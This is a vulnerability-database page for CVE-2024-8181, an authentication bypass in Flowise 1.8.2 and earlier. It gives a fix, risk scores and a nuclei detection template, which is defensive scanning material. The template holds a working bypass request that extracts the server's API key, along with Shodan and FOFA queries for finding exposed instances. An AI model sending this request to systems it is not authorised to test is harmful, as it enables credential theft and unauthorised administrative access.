HexBrain

Browse / CVEs / CVE-2024-8181

CVE-2024-8181

Flowise <= 1.8.2 Authentication Bypass

highseverity
7.3CVSS score
45.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

An Authentication Bypass vulnerability exists in Flowise version 1.8.2. This could allow a remote, unauthenticated attacker to access API endpoints as an administrator and allow them to access restricted functionality.

Impact

Unauthenticated attackers can bypass authentication to access administrative API endpoints, gaining unauthorized access to restricted functionality, API keys, and administrative operations.

Fix

Update Flowise to a version later than 1.8.2 to address the authentication bypass vulnerability.

How to confirm it

Send: GET /api/v1/apikey?/api/v1/ping
Positive when: contains "apiKey" and "apiSecret" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-8181 -u <target>

The full check
id: CVE-2024-8181

info:
  name: Flowise <= 1.8.2 Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    An Authentication Bypass vulnerability exists in Flowise version 1.8.2. This could allow a remote, unauthenticated attacker to access API endpoints as an administrator and allow them to access restricted functionality.
  impact: |
    Unauthenticated attackers can bypass authentication to access administrative API endpoints, gaining unauthorized access to restricted functionality, API keys, and administrative operations.
  remediation: |
    Update Flowise to a version later than 1.8.2 to address the authentication bypass vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2024-33
    - https://tenable.com/security/research/tra-2024-22-0
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8181
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
    cvss-score: 7.3
    cve-id: CVE-2024-8181
    epss-score: 0.4505
    epss-percentile: 0.98791
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-2051052918
    fofa-query: title:"Flowise"
  tags: tenable,cve,cve2024,flowise,auth-bypass,vkev,vuln,ai

http:
  - raw:
      - |
        GET /api/v1/apikey?/api/v1/ping HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Referer: {{RootURL}}/document-stores

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "apiKey"
          - "apiSecret"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: apiKey
        part: body
        internal: false
        group: 1
        regex:
          - '"apiKey":"([^"]+)"'

References

Use this check only on systems you are authorised to test. Where the data comes from